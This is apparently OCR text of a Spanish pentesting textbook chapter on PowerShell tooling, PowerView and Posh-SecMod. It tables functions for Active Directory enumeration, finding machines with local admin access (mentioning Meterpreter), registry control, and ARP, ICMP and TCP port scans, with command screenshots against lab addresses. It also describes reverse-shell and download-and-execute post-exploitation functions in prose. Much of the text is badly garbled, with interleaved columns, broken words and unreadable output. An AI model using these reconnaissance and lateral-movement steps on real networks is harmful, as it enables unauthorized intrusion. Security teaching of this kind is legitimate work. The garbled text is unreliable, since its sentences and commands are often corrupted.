: .| orupo de administrado 5 ; Similar al comando Invoke-UserFieldSearch, con
Enumera miembros del Drdp Invoke-¢ omputerFieldSearch diferencind ; b d i b CO, {a‘
i " 0s iterencia de que las busquedas se realizan s
Invoke-EnumerateLocal TrustGroups e — g JUEHeAR 5 realizan Soure maquinas
G Version con threads de Invoke- Encuentra sistemas que parecen vulnerables a algunos
—— al TrustGroup ' ATt Gr ] N i it - o
Invoke-EnumerateLocalTh Ji EnumerateLocal Trus tGroups B Rttt s explaits conocidos. El detalle de los exploits que se pueden
sThreaded 2 construir un mapa relacional de todos los . utilizar se encuentra comentado en el codigo fuente de
9 i :
) Se intenta vicin Bl PowerView
Invoke-MapDomainTrusts domain ; _______l_;_-- | - = e
; i un mapa relacional de todos lo Get-LAPSPasswor Lista contrasefias LAPS, Local Administrator Password
Se intenta construir u P - LDAP -LAPSPasswords g ;
3 LDAP ; Nizando Get-NetDomainTrustsLEZ? . Solution, para cada cuenta de equipo
Invoke-MapDomainTrustsL domain trusts utihiza

i1 Lrus e View.
Tubla 3.12: Funcionalidades de domain trust de Power
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Nombre

Descripcion

Invoke-HostEnum

uta todos los chequeos disponibles para enumerar

Se egjec
de tipo usuarios logados,

recursos compartidos, objetos
sacar informacién de directorio, enumeracion de grupos

locales y usuarios, etcetera. Todo esto indicando con el
parametro HostName la maquina sobre la que se lanzard este
todo en uno

administradores de las

Invoke-EnumerateLocalAdmins

Enumera los miembros del grupo
méquinas del dominio, siempre que se pueda

Invoke-
EnumerateLocalAdmins Threaded

Version con threads de Invoke-numeraLocalAdmins

Get-HostIP

Resuelve un nombre de miquina a una direccion IP. Esto
puede ser bastante util para conocer las direcciones IP de
las maquinas del dominio. Si no se introduce el parametro
hostname, se coge por defecto la méquina local

Set-MacAttribute

Permite modificar los atributos de un fichero

Copia un archivo local a una ubicacion remota

Invoke-CopyFile

Test-Server

Prueba la conectividad con una magquina especifica

Get-UserProperties

Lista las propiedades para un usuario especifico

Lista las propiedades para un equipo especifico

Get-ComputerProperties
Get-LastLoggedOn

Indica el Gltimo usuario logado en el equipo indicado
a maquina especifica,

Get-UserLogonEvents

Devuelve eventos de logon de un
siempre y cuando se tenga acceso

Get-UserTGTEvents

Devuelve eventos de peticiones TGT en una maquina
especifica

Invoke-CheckLocalAdminAccess

Chequea si el usuario actual tiene acceso como
administrador local en una maguina especifica

Invoke-Searchliles

Realiza busquedas sobre un path local o remoto para
encontrar ficheros con férmios concretos en s nombre.
Este comando es util para realizar basquedas de ficheros
en las maquinas del dominio. Se debe indicar el parametro

terms

Convert-NameToSid

Convierte un nombre de usuario o nombre de grupo a un
2

Convert-SidToNaine

Convierte un SID, Security Identifier, a un nombre de

SID. Se debe indicar el parametro nam

usuatio o nombre de grupo. Se debe indicar el parametro

Tubla 3.13: Metafunciones y otras fiunciones de PowerView.

SID

Cani .
apitulo Tll. PowerShell puio. El arte del pentesting

_EEN

Como se pu
ede ver en la .
s tablas anterior :
extraer un gran volumen de inf‘as anteriores, existe un gran niimero de funcional
ormacion del dominio y de las maquinas onalidades con la que
que componen éste
ste.

Estas funcionali ]
: alidades unid A
as o .
lateral a través de Pass the Hgst/ecnu,ab. de elevacion de privilegio en el dominio o d
. ? permiten ir avan . 10 0 de movimient
L - vig Q
para una auditorfa en la red corporativa zando en la recopilacién de informacion valioL
s 54

PoC: Resumen de PowerView

Aungue todos |

0s comandos son vali
V i

s Ly emistmises:dal Entsne aliosos v puedan ser utilizados en cualquier mo
muy interesantes. Hay - n el que el pentester se encuentre, se ha quen_dmento, en funcidn

. T en cuenta 1 =y E 0 resumir al

ueden hacer ; ; que las condicione algunos
p que se necesite la ejecucion de una u otra ﬁJnCiOS 6?_ éafi que el pentester se encuentre
nalidad, i

Uno de los primer
IIMeros coma -
fuvisalitiad Supeteihig in!}gos Y que mas informacién puede devolver es Ger-A
puede encontrar gran cantidad dIrnacmn sobre todos los usuarios del directorio a tler'f\"eftf_s-(ﬁ“_ Esta
: € correos el Bt ; ' activo, por | B cp
looueo, cambi ectronicos, SID . 0 que se
E ) o de contrasefias ’ , unidades org P o
as, el path de ADS o ganmizativas, infor i6n ¢
' , certificado si éste utilj s rmacion de
e utiliza, etcéter,
] Ta.

Para convertir |
¢ rlos SID que se
4 L ~ %
SidToName. Como se qpueclepv[izde?' encontrar por el dominio se puede utilizar el d
m } ualizar en la i . : comando Conver-
viceversa es realmente sencillo Imagen, convertir de SID a nombre de ust |
= SUuario, ¥

Name : l C-Uo‘ E¥S pyﬂlla’alﬂz De“‘ ]“70[3 IDUEI]DQI‘-’ mast I 1 v t
meTDd * : \ ‘ -
58 erN OL-JEPU eu> G ;
z onvesy H

cmdlet Convert—N

g Lim i .

Froporc i0ns ualongs pane 1os pabiuigacn Lsde;la canalizacis

: pablo.gonzalez S pardmetros sigui ik Zacion de ¢ =

§—1-5-21-32602301 74 e Phans
1117

P \NUs S i | = = = > 3= SLer *Vie onvert—51 oNMa
= N o \De p\ I
werloo Ma NPouwerl 0> [
SG er on ’ale’ D skto Fouwexrl 1 ter\P I i t dl M

cndlet Convert—-%5i
Fatill B idToName en 1la sicid

= alores pap o Pecarind de la 2 s
oy oL 8—1—5—21—32992351'1?2ﬁ los pardmetros si;ruientggqallhmuon e comandos
!’S lJ.\U\‘l;’lab\]\.n.Gunzallez Llii.}

A\Users onz Z s

nzalez\Deskto \PewerTou13—master\PouexU' >
werUiey

Fig. 3.18: Conversion de

SID a nombre de usuario v viceversa

Otro ¢
omando muy 1ti] e:
) il : 5
imagen, se pucde eﬁ - es Ibzvoke-Nenqew, Con este comando, como d
rar las 1 o » 5€ pue 1 T o
recursos compartid sesiones activas que hay en las disti  puede visualizar en la
partidos de estas, etcétera. Istintas méquinas del dominio, los

Esta j :
Sta informacién es atj
es util para poder ¢ .
contra todo o poder tener una visién cl -
el dominio si : n clara del domin
m 10. El
sobre una méquina o un P_ff.‘meme gjecutando fnvoke-Netview. Si por el o P s
con o s co i ;
junto de méquinas se puede utilizar el pau'aimetronltT e
10818 ¥ hostList

Otro s
Parametro |
nteresante es .
que se myest I CheckShareAccess, el cual hara d
ran, indicando sélo lo i 4 de filtro sobre los recursos .
s que el usuario que ejecuta el comando 508 compartidos

o0 tiene acceso
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z\Deskt op~PowerToo ls—master\l’o-.-lerl.l jew?> Invoke—HNety iew —

with delay of
= DCA3.

ontroller- DCHB4.
of hosts: 1

P11P-B7

.16.18.283 169.254.148.79 192 .168.1.15

— Logged-on — s\Pahlo.Gonzalez

— Logged-on — s~Pahlo.Gonzalez
Logged—on — \A\Pablo.Gonzalez
Logged—on — s\Pahlo.Gonzalez
Share: ADMINS : Admin remota
Share: C% = Recurso predeterminado
Share: : Recupso predeterminado
Share: ES : Recurso predeterminadn
Share: IPCS : IPC remota ;

[+] P11P-@7 — Share: print% : Controladores de impresora

PS C:NUsers™ vonzalez\Desktnp\inerTaols—mastgr\PoueP01eu>

Fig. 3.19: Recoleceion de

informugion con Invoke-Netview.

1 las tablas anteriores es Invoke-
trar maquinas en el dominio en las
dor. Si una de estas maquinas es
cutar un Proceso como una

Uno de los comandos importantes que S¢ han estudiado e
te comando se pueden encon

FindLocalAdminAdccess. Gracias a es
que el usuario que lanza el comando tenga privilegio de adminisira
encontrada, se podria lanzar un emd remoto y despucs, por ejemplo, €je

Meterpreter € it ganando mas funcionalidades.

un usuario normal del dominio no tendra privilegios de administrador
den existir maquinas que tengan como funcion principal servir archivos
usuarios. En otras ocasiones, también puede ser que

un usuario normal también tenga el maximo privilegio en maquinas compartidas que centralizan
wando encontrard estas magquinas e indicara que el usuario

n dichas maquinas, tal y como puede verse en la

En la mayoria de los casos,
en las maquinas, aunque pue
dénde se den ciertos privilegios a todos los

funcionalidades. Sea como sea, este con
iene privilegio de administrador €

que se utiliza t
imager.

USS—SUN_Server. ] Tof 24)
————— 12 of 24D

- = (13 of 240
14 of 24>

DETALLADO: [=] Enumerating Server
DETALLADO:= [>] Enumerating server
PETALLADO: [*] Enumerating Server
DETALLADO: [=1 Enumerating server
DETALLADO: [=] Enumerating Seruver
DETALLADO: [*]1 Enumerating server

[%] Epumerating server
DETALLADO: [*] Enumerating server
DETALLADO: [*] Enumerating server =
DETALLADO: L[] Enumerating Server seal €28 of 240
DETALLADO: [+] Cuprent user ’ \Pahlo.-Gonzalez’ has local admin

__——————_:_10‘:&1 (—____-'242
.local
ETALLADD: L*] Enumerating Server _ (21 of 24D
DETALLADO: [*] Enumerating server ocal (22 of 242
DETALLADO: [*] Epumerating server ;al (23 of 24)
DETALLADO: [x] Enumerating server local <24 of 247
PETALLADO: [+] Cuprrent usenr ) — \Pabln-Gonzalez’ has local admin
ccess on _local ¢t ——— - 62>

.local

Fig. 3.20: Encontrando maquinas dénde el usuario tiene aceeso de administrador:

“apitulo erS.
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~ idade m

El tltimo comando, el ¢ — .

st corentin indjc;]]:{;la]lh]dce un resumen global de todos los checks es Invol

oy v I‘Bcopi]anel tostname de una maquina del dominio se s Invoke

sxictanies, l6s fecursas Bom p‘;?ﬁg;;ﬂ)os.de la maquina, los usuarios admj

bRy et v Il‘li‘c)e?(IStb'Il’lcs. los procesos que ejecutan en la maquina, los ;

el T s lshilsian ]]';3' .nn—acmn muy interesante y que ayuda a c o GS i
itings de] Fomindo. conocer mas detalles v

: -hostenum. Con
obtiene gran cantidad de
mistradores, los servicios

4.Posh-SecMod

Posh-SecMod es s
un mo g er

1 v e end:llod]’Jma PowerShell v3, el cual proporciona una coleccid
' . . ene > funci S
R ihae Tl e tdscani lda dia del pentester. Este conjunto de mddulos h IO?IdL o
Z, conoc v e - S .
bt it o 1 o como Dark Operator. Posh-SecMod se puede d e
'ps:/igithub.com/darkoperator/Posh-SecMod b

/ W= MO,

as “ nciona ldade ue 10
- Q . ~ 5 d OB -
S 5 JJO} rciona este mo U]O S€ enumeran a co [
: . | mnuacion;
= LIS (&) ] L n c B ]] edaen encontra
- C10 e'\Ll.dlL PL] n{l(.““fdllza dLSCUI) Imiento er }d]Ld (‘)L U d
1 (1[,( nes }? Lab) (.Lrle‘ Ll].]c\S € JooIpy n'f]”ﬁ‘g COmo pUL € ser EI d l{:’()l'sq Il|r;tl()[lt }c €s dere
~ = -\-»i; tapa liola T -d o 7 - ali :lwix_-;
at )I)DSI]L! ]i( rmacion (fc Uil ser \H]d(” [)NS Enumerar un rango dL (i]iLCL ([{1] . {a (Lb
< c10nes aseaneo
(=

de puertos sobr jaui
s sobre ma as 1 .
- quinas remotas, escaneos a través del protocolo ICMP
a. - 0 escancos ARP.
= Ultilities. Este méc A
5. Este madulo pr ciona dife -

N et ot ; prI ?]?OILIOHQ diferentes funciones que permiten al
24 eTOS en TR | . . . pentester de 3
Sty e i s sk diferentes c}qeccnones URL. manejo de archi\-o’i m”“. d.Ebd“
shie. ficheros con diferentes algoritmos CU_m') MD35 S;I i
- ) . 3 Al. SHA256
2 . ALDD,

SHA384, SHA512
384, SHAS12, obtener la (lti _— _
puede ver es un médulo ¢ ;-_‘Lll_tlma VeEsan de las herramientas de Sysinternals, C
con diferentes utilidades que en un momento p i i i, Cotio se
ento pueden ayud

la realizacion d
acion e i
& UR peniesing. ar durante

- Registry. Este mo
cistry. Este ‘oporci
g modulo proporciona una coleccion de funciones
s que

manipular el registro de I¢ : B
aniy [ registro de los equipos de forma r : s b [T
o aremota a través del lenguaje de instrt i

g strumentaeion

Audit. Est :
. Este mddulo proporei S
Funciones que pe].mh_eneDJOpOluona funciones enfocadas a la auditoria d i
! : ; “ d ia de sistemas
s kg dol dirses numerai los tipos de sesiones logadas recuperar inf de sistemas.
. orio activ . z ki erar informacion sobre
R T 0 activo, recuperar informacion sobre los usuarios ¢ G o sobre
: as detalles sobre ¢l directorio activo. eteét B SRR U S
/0, etcctera.

{ ()\U‘\])I’ c b cly §
b= oiration. b
5 I]Od ] enta fu on / na j' :
{i [ € 1 ulo pres nci €8 que a lda I renfester

areas de post-ex; ;i

st-explotacion, Estas tar y : a realizar
pueden cncc}ntl'ai ﬁincioué Estas tareas son vitales para terminar con éxito un g
$ que permitan t - i = pentest y se
cual se pusde stee n transformar cédigo de g Yy se

= e ejecutar de : go de Power ; s
p ¢jecutar desde la linea de comandos. funcione SBhEsR 8., o
5 s

lamano del scripe, funci
script, n que ayude . T
pt, funciones que hacen la descarga de un sc‘!'ip: u %_‘dd”_ e
& , un binario, y ejecu
s ! 1an su

c01 Cl1jd0 d('.f ]
1 CHC d ] ibili p
: : (J'Cia. Ade nas, la pOSlbl]ldc d d .(.,( uta TOCES0S 1
con > Torma ericode. gc Cmotos a tr a\‘és

‘j{. ] / N B crsa i 1
1za df TH2€E! ¥ {
I’ }'([.SJT A T deV I Ert ?6!/ nversa a
realiz 1 { (] (ie 1 es de sistema Olver una shell 1 ofra 1 aqll]na
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i werShell Capt
Pentesting con Po
.+ del fichero mtds.dit, utilidades para Funcion Descripcion
llo a través de TCP, realiza una copia del' como se puede entender tras Enumera los usuarios pertenecientes al dominio mostrando
canfigarada pabe i hexadecimal, eteetera. Este modulo, disponer de otras ) s P ' '
transformar contenido a hexa ' ateresante y til a la hora de no disp mformacion como el nombre de cuenta o SAMAccount, ruta
la enumeracion de acciones, s muy 1 ek AuditDSUserdcot DN en el dominio, datos sobre la contrasefia como la fecha de
: 2 fi A [ 2 i . . : . - .
herramientas en €l sistema. : va realizar parseos de ficheros XML de fesetn modificacion, expiracion de ésta, etcétera. Ademds, informa-
Parse. Este modulo proporciona funciones pa cion sobre los grupos a los que pertenece el usuario, el altimo
- Parse. ; I g
Nmap o DNSRecon. T —— utilizadas para mtelsr‘g:zgar logon o el identificador de seguridad S/D
. roporciona tunc base de datos SQLite. Enumera las cuentas de usuario que se encuentran bloqueadas
- Database. Este mOdl-ﬂo - tar y realizar consultas contra ulrl'a ) Seranl Get-AuditDSLockedUserAcount il 4
bases de datos, pudiendo conectary ra tratar informacion masiva que se pueda en el dominio
con € % Y tEmTQ a i y “ 4 = - =
Estas funciones pueden ser mteresantesma cls)mo para investigar ciertos archivos SQLite Get-AuditDSDisabledUserA- | Enumera las cuentas de usuario que se encuentran deshabilita-
: sting, S
recopilar en una fase previa del et count das en el dominio
! tes] prages: 4 iten interactuar con estas : —
encontrados duran ; odulos permt ) Enumera las cuentas de usuario que se han eliminado en el
Nessus, VirusTotdl, Shodan y Metasploit. EStOlS, mo uso a través de la linea de comandos Get-AuditDSDeletedAccount digpidisiie
% essus, ¥ d ! = integracion - - z
. £t nplificando su nteg : madulos propios : : p
herramientas y _servllc . SH'I:')]i 1.3 de Posh-SecMod se han Gonverltgldohe;lruﬂbml E(mpsus Get-AuditinstallSoftware Devuelve el listado de software instalado
o . En la versi ‘ - an osf- : ; - : :
de Powe rShelil RN Posh-Nessus, POS}? Shod ! c)(;]ecciéﬂ deensapblados y Esta funcién recupera las marcas de tiempo de un archivo, el
es Posh- - ( ; ; - i
con 1(_)5 r}omdl' SGitHHb propios. Posh-Nessus proporC}oﬂa u:nés famosos. Posh-Metasploit cual es pasado a través del parametro ~file. La informacién
[-ep0§1t0r105 . automatizar el uso de uno de los escaneris_t Framework a través de la APl Get-AuditFile TimeStamp que se recupera es el ultimo acceso, la ultima eseritura, la
funciones Pal;\l ciones para automatizar el uso de Metasplt-)r + descubrimiento de magquinas fecha de creacion, la fecha y hora de modificacién, la cual no
: n : a : i
pEOparclana h-Shodan proporciona funciones para rea IIZ/ - us Total proporciona funciones se muestra en las propiedades de un fichero
XMLRE}C f;};ﬁ;icio Shodan utilizando un AP1 key. :10 o /::;fl key. Se tratarén més adelante
utilizando e il s Total a través de una V. e
) g servicio de Virus ino desde PowerShell,
iy e]e aportan y son interesantes para el pentesting
4 u
estos modulos, ya g

Tabla 3.14: Funciones de Audit en Posh-SecMod,

El segundo modulo a tratar es Darabase.

Estas funciones permiten al pentester interactuar con una
base de datos SQLite:
r ilidades basicas,
: ara comenza ? s con las utili = CEy
Modulos p - los médulos de Posh-SecMod relacionado funciones de auditoria. Funcién Descripcion
En este apartado s¢ muestran estion de base de datos ¥ jonalidades que s¢ P— = : =y
: de registro, parseos sobre ficheros, & de concepto de las funcionalidades q Connect-DBSQLite3 Permite crear una conexién a base de datos SQLite 3. La conexién
B e ian se realizaran algunas pmebaﬁj ¢ | se enumeraran las funciones - es almacenada en $Global:sgliteconn
Para una mejor cOmprens »eMod. El primer modulo del que — = _ — = .
frecen en estos modulos de Posh-Sec d Elimina una conexién SQLite. Para eliminar la conexion se le tie-
ofre . i T ‘i : ; i g
disponibles es A ik P, Remove DB_SQLne_?C on- | ne que indicar el mc.iex' ade_c’uado. En caso de no Pasat[e un rl.vde,\
T nection se lleva a cabo la eliminacién de todas las conexiones, por gjem-
I, § . % %
o Descripcion pr———— plo Get-DBSQLite3Connection | Remove-SQLite3Connection
uncio 1 ) g 1oga as J ;
- as sesione . Ger-DBSQOLite3
Bsta hiciof SRRHIE funcion utiliza el lenguaje WM. L0850 ite3Connection
dada. Internamente esta 1 procesos

Enumera las diferentes conexiones abiertas con la base de datos
] . ¢ sesiones tiene
: uiere saber que
S r ejemplo, 51 5€
: Sessions Po
Get-AuditLogedOn

i Sessions |
‘ecutando se puede ejecutar Get—Audthagf{c;’?ﬂ
v where-object {$_.processes & " 4]
Enumera los equipos pertenecientes al dominio

|‘V(} qlle
1 i 1 Opﬁ]‘a 1
i f()l‘macién SObl‘e laS € S101ES de g1stem
1 Vel a

tro
, ta DN den
fos ice pack, 1a Tu ;
ejecutan las maquinas, el service p ina, etcéterd

dominio, la direccion IP de la maqu

Ejecuta consultas SQL contra una conexion existente. Para indicar
la conexion que se quiere utilizar se dispone del parametro index.
Un ejemplo vélido es Invoke-SQLite3Query ~SQL “SELECT
nombre FROM tablal,;” ~Index 1. Esta instruccién devolvers los
valores del campo nombre que se encuentra en la fablal a través

e del uso de la conexién con identificador 1
Tabla 3.15: Funciones de Database en Posh-SecMpd

Invoke-SQLite3 Query

Get-AuditDSComputerAccount
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El tercer modulo a tratar es Parse. Estas fu
archivos de herramientas comao Nmap ©

do funciones del modulo

nciones permiten al pentesier parscar de forma sencilla

DNSRecon y filtrar estos ficheros en funcion de las
Parse y del modulo Database se

Y
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El qui j - il
quinto modulo a tratar es Urility. Estas funciones proporcion

que pueden ser necesitadas en a gln instante en el penest. Esta
proporciona diferentes aceiones y i
. 2

an ter ] i
. al ;ienieazef pequenas utilidades
pequena coleccion de herramientas

en algunos casos, muy diferentes,

condiciones que se requieran. Juntan
puede llevar un volcado organizado de informacion de una herramienta a una base de datos donde
tener la informacion estructurada y organizada. El modulo Parse proporciona 2 funciones:
Funcion
e W Descripcion
Funcién Descripeion Get-WebFile TR g w—— 1[[:1 = |
Importa un fichero XML de Nmap y devuelve una coleccion de _ UL, valnenitoens _WO esde una direccién
Import-NmapXML objetos, los cuales representan la informacion del escaneo que se New-Zip S erepe—— - na ruta local
encuentra en el fichero XML Add-Zip rye Ve Clhel'ﬂ Zip con contenido
Importa un fichero XML de la herramienta DNSRecon creando Ger-ZipChildltems Recurse s He .e Comeﬁldo aun fichero Zip
objetos con la informacion que proporciona la herramienta. Get-Zip a ¢l contenido del fichero Zip de forma recursiva
Impori—DNSReconXML Por gjemplo, Imporr-DNSReconXML Aoutput.xmi -Filter SRV Lista el contenido del fichero 7/
devuelve objetos con informacion de los Service Record reporta- LExpand-Zip Descomprime el contenido del fichero 7, -
dos por DNSRecon st B il 5 Sneling ero Zip y lo almacena en una
de Parse en Pash-SeeMad. o ; Esta funcién recibe un fich e |
Ger-FileHash archivo en formato MD3, S]IC{:EO glfll:;ujeévzngg;z deSdiChO |
’ g o SHAS512,

Tehla 3.16: Funciones
omo ejemplo se indica is *.exe | Ger-Filelash

ter puede manejarse y realizar

Con estas funciones el penfes
Permite |
a de 14 =
scarga de la Gltima versién de las herramientas d
de

Svsinternals ¢
) nals. La ruta donde se descargan se indica en 1a invoc
cion de la funcion -
Enumera | j i
0s objetos COM disponibles en el sistema local

L S a § S
1sta ] Versio quE se esta U[l] Za]ld() de ! US/] LSE(‘A[U]
& llld cd
CUdI €s ]a llltll[)ﬂ VETs1on d]SpO Ub{e

El cuarto modulo a tratar €s Registry.

cémoda en el registro de la maquina.
Ty .
Update-SysinternalsTools

acciones de forma

Descripeion
encuentran dentro de una clave de

Funcion 7
Ger-ComQbject

Enumera las claves que se
o
registro Get-PoshSec ModVersion

o dentro de la clave indicada

Get-RegKeys

Crea una clave de registt

Elimina una clave de e Tabla'3.18: Funeiones de Utiliny en Posh-Secod
+ si-secMod.

New-RegKey
Reinave-RegKey

gistro indicada
e una clave de

Enumera los valores y los tipos de S

o e g Discovery
Este modulo permite al pentester dis
ﬁ.ngel'lpl'fﬁ.'if?g. Todas las funciones q
Kcnicas internas como externas
descubrimiento. N

Get-ReglValues
el registro indi-

tiene sobre

a si se tiene acceso a la ubicacion d
o de permiso que s¢
o del parém‘etro.Acaess?}pe se

a realizar consul-
| propietario,

p Lol
(631 Lwi) de 1'.[]1(:10] €s qLIC aylldall en el p] 0Ces0 dt, /UOUJ.’ iling
ue se I)U(.den encontrar en t‘,l 501 lltlllia Jles ta O €] a“d 01 a\:
]
ori
a que pelllllteﬂ de una u Ot]a manera 13C|]ltdl L] p[()CLSO dE

Cheque
cada. Ademas, chequea el tip
la ubicacion. A través del us
1 si se tienc permiso par

dificar valores, cambiar €
etcétera
Modificar o poner un valor a una clave indicada
Recupera el valor de la clave

|a lista de

Test-RegKeyAccess "
o pregunta a la funcio

{as, eliminar claves, MO

na (i
U E| SC ristic
as LaraCtellstl(_aS de laS funCi()l"IeS dt‘: escaneo

que permiten 7
realizar un esca i
Las fu neo basico

que se encuentrar < ] 10( [)!S ( TV e
S t ¢l mo U]O SCOVEr) 5
dE d[lelbl tes fOI]]laS, € ]“C]USO d d!iElLHtGS HIVGJLS d(. Ed.
HCID”Eb que se pueda“ encontrar en the lilf)dUIO s0n mas de 0 y sE deSCIJ en a continuacio
I
1A

Set-RegValue
Get-RegValue

Remove-RegValue

Funcién

Elimina un valor especifico de
Descripcion

Enumera el propietario de una clave de registro y

control de acceso de dichaclave

en Posh-SeciMod.

Realiza un
a con 10is ini
sulta #hois sobre un dominio que se le proporcior
a la funcion N

Get-Whais

Ger-RegKeySecur.fryDescrip{or

Get-MDNSRecords

Enume regi
ra los registros mDNS que se encuentran en la red local

Tubla 3.17: Funciones de Registry
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Funcion Descripcion

V4 o 1Pv6 segiin el rango indica-

Genera una coleccion de objetos 1P
192.168.1.1-192.168.1.10

N FPRANER do. Por ejemplo, New-IPRange —Range

Genera un listado de direcciones IP indicadas en el rango proporcio-

nado a la funcidn

New-IPv4Range

Genera un listado de direcciones IP a través de una red que se pro-
porciona a la funcion. Por ejemplo, New-IPv6F romCIDR —Network

New-[PvdFromCIDR
192.168.1.0/32

Realiza resolucion inversa. La funcién admite diferentes opciones
para generar el listado de direcciones [P, por ejemplo Inmvoke-Rever-
seDNSLookup —~CIDR <red> o Invoke-ReverseDNSLookup —Range
<direccion IP inicial>-<direccion IP final>

Invoke-ReverseDNSLoo-
kup

Realiza un escaneo a través de ICMP contra un rango de direcciones
IP proporcionadas a través del parametro Range. También se puede

[nvoke-PingScan
utilizar el parametro —CIDR

Realiza un escaneo completo a través del protocolo TCP y
UDP. Por ejemplo, Involke-PortScan -Target 192.1 68.1.3 -Ports

Invoke-PoriScan
22,135,139,445 -Type Ter

scaneo ARP sobre la red local. Este tipo de escaneo

Realiza un e
aquinas conectadas a la red local

permite descubrir m

Imvoke-ARPScan

los servidores DNS del sistema local

Enumera

Ger-SystemDNSServer

Enumera los registros SRV del DNS dado un dominio

Involke-EnumSRVRecords

Resuelve un nombre de dominio o FQDN a su registro CNAME, A

Resolve-HostRecord 0 AAAA
as contra un servidor DNS. Por ejemplo,
{ microsoft.com -Type MX
4 direccion 1P a formato /n-

Realiza consultas especific
Resolve-DNSRecord -Taige

Conviene una String que representa un
Addr-ARPA

Resalve-DNSRecord

ConvertTo-InAddrARPA

Tabla 3.19: Funciones de Discovely el Posh-SecMod.

PoC: Tipos de escaneos
pto se estudiardn diferentes funciones quep miento
local o remota. Principalmente el m

lizar descubrimiento de maquinas

ermiten realizarun descubri
4dulo Discovery de Posh-SecMod

Enesta prueba de conce
directamente, omitiendo 1as

de maquinas en unared, ya sea
proporciona 3 funciones para rea

funciones relacionadas con el protocolo DNS.
Las funciones Imvoke-ARPScan, Invoke-PingScan © Invoke-PortScan ayudaran al pentester

reconocer maguinas en la red.

R

La primera funcién es Jnv
es lnvoke-ARPScan, la cual es muy Gtil en una red de dmbito 1
ambito local, ya que

permite conocer el nime Lqui
to de maquinas (1
MAC de éstas. q que existe en la red y la relacion direccion [P Direccic
— Direccion
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[ €scaneo €8s a lli\'e ae enlace Q Q 2 108 fire le” 1t b
: S 5 is l ] qgue a a-a] a nive
ici . p q l f W i 1 de l‘ed no bEOque T i
- daran

S D:\libros\ s g P s he osh—vecMod-maste isco 4 n = eaas
3en estin owershellNPos] C PN ve v =z S
t 1 SecMod st Disc »y> Invoke-ARPSca
n —MaxThread

27:75:68:36
27:88:58:F5
272:10:8C:55
22:EA:54:=F2
9:00:27:08:58:E5

192 _168.56.10

192.153.55.1@%
192 .168.56.163
192.168.56.255

PS D:Nlibros\ sti
entestin overshell\Posh-SecMod-master\Di
step SCOVery>

g J.2 i E
esSCH en, G €L (s i=: a ar ¥
i 3.2 Descubrim 10 ge 1 Li{ziga] 2l de en can A
uinas a nivel de enl, ce RP Sea 7.

El escaneo por pr
otocolo ARP s s
broadeast que es ]affﬁp'ﬁ‘ﬁ“ff-]s‘; r‘edﬂf:e a la realizacién de una peticion ARP Request ala di e
NS én{-‘j;a” ; .1 -If preguntando por una direccién [P en concreto, S st a la direceion
od 5 3 % i 151 - ey
;Quién tiene la direccidn IP X{?)d?jb las maquinas de la red a nivel de direceion MAguede -
d : 7 Como la funcién fnvoke-A : ¥ que pregunta
rango de direcciones 1P, a travé nvoke-ARPScan permi e
. a través o permite al usu e
CIDR, se puede preguntar a tez de]] parimetro Range, o una méascara de red. a trqi]gl? (l:olnﬁgtual un
o odas las maquinas y : . a traves del pardmetr
conectividad. aquinas que se quiera para ver si estan cncendi]chq o
as y con

El escaneo por ICMP

S esel que se i uncié

s ki b?o : e lmplem.?nta en la funcion Invoke-PingSean. Es realm i

b b dce]: Lflaar, es decn*., hacer que la maquina destino rechazase la :“t? L"EHC_'FHO

poly e 1 primer vistazo puede aportar conocimi i
B CA s Eolned B mmiento sobre la conectividad

S D:\libros\ st ershellNPosh—-SecHMod=master 1SCovery nuoke—=FingScan — < B -
i s\pentesting pouers
h N ) ter\D > I ke—P S CIDR 8.56.0.
ing ] IDR 192 .16
7

1 192.168.56.
b 193168 8¢ 105

% g —SecMod-master\Discovery)
ig. 3.22: Efecucion de in escane 4
escanead a traves de ICMP en ung red,

La funcién /nvoke-Por i

e Llso}'\cdgolf).;Sr;;;ﬁrop;.rcmna un escaneo de puertos a través del protocolo TC

e o ML puenoso _]/p-e se pucde elegir entre uno de los dos proto?ocl) ) Py UDP.

CIDR o dinaenes 8¢ pcre ugontta un grupo d.e. maquinas, por ejemplo utili7andao‘§]h ?“_!I)Ucde

pcrini[e dsemeigis i a F:n concreto utilizando el parametro Tareer. 'Iél a"L }“}diametm

s gl =ik pl{el-tos a escanear, por ejemplo si se quiere e:, 5 P_ Iﬂll‘lL-tr.o Ports
o A RIS scanear el puerto 22, 23

Enla
* Imagen se ) .
S puede visualizar [a ej 3
Puertos ah: ar la ejecucion de s o i
os abiertos de una méquina. esta funcién donde se obtiene como resultado los
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—PortScan —Target 192.168.56.

is pu> Inuoke
1 > Posh-SecHod-masteri\Discovery
=\1ibros\pentestinyg pouver she 11N
Pg3n-;;;21?CPp—ants 21,22 .808,445.508

e
Port State Typ

e Open

.168.56.103 Open
; 3%.168.56-133 Open
H92 .168.56.103 Open
192.168.56.183

uuershell\Push-SecHnd-master\Dis e
Fig. 3.23: Ejecucion de un escaneo de puertos TCE

En 1nos caso [Ede e nteresante ne. d 3 z1one Q scripiin, b 1CO O COr
g ) p 8 nieres t ch 1 estas hm(,l nes con p g asic
algu

canalizacion de objetos para potenciar el uso de las funciones.

fqpui n rango de puertos lo
para poder realizar un escanco sobre una maquina concreta a u g p

Por ejemplo, 1 la linea de comandos todos los puertos

SuliClellteI[]ellte Iallde como para no ()dEI enumerar € : i
p g - a ge rar una CG]&LC[O tre n
I uso del (8] EI&dOl de rango . I ra genc 1 de numeros en 1

se puede hace n <valor minimo>..<valor maximo=, por

valor minimo y un valor maximo se qecu‘[% fgloﬂifruc;ldénde R TR i
5 instruccion devolvera inea
0..500. Esta mstruccion

U, = - ] i { / l)a]ﬂ qu
10T Cl :0 l ast l.ll d 1 i S i € 1k Cada numero El_ oredc e
i a 'c‘l]lzaClO[l se pOdI‘la pasa : 1 i

. 21, h' sia t] 300 U 1Zandao < . A S . 71 1rgel <dmreccion “3>
l[(;le S l)l‘e C“OS de la S"]"U’ie]lte manera ‘; (}J 00 k_}()-’ ea(‘f? (J jf’”’oke". l().’t CCit ‘ CI (3- " 0 y

I' 1 = ](,j ! L vari ](: SpeClﬂ] .S’ ila LOgiEIldO ]OS dlf rentes valor <
Ports .,fl‘ _]}’]f)(’ S A ah e : : . : ' (5] te A es & 1tre e 2

300 [JOl‘ Cdda ite aCi(’)] 5 tal y como puede v ISuallZalse en ]d Ulldgen

ejemplo 2

i S 5 ¢ foreach ¢Invoke-PortScan
testing pnwershe11\Pnsl|—Secl‘lud—mast:el‘\lhscnuel y> 2@..580 |
S D:\libroshpentes

Tavrget 192 .168.56.183 —Type TCP —Ports 5 2

192 .168.56.103
92 168.56.193
92 .168.56.103
H92 .16 .56.183
92 168 .56-183
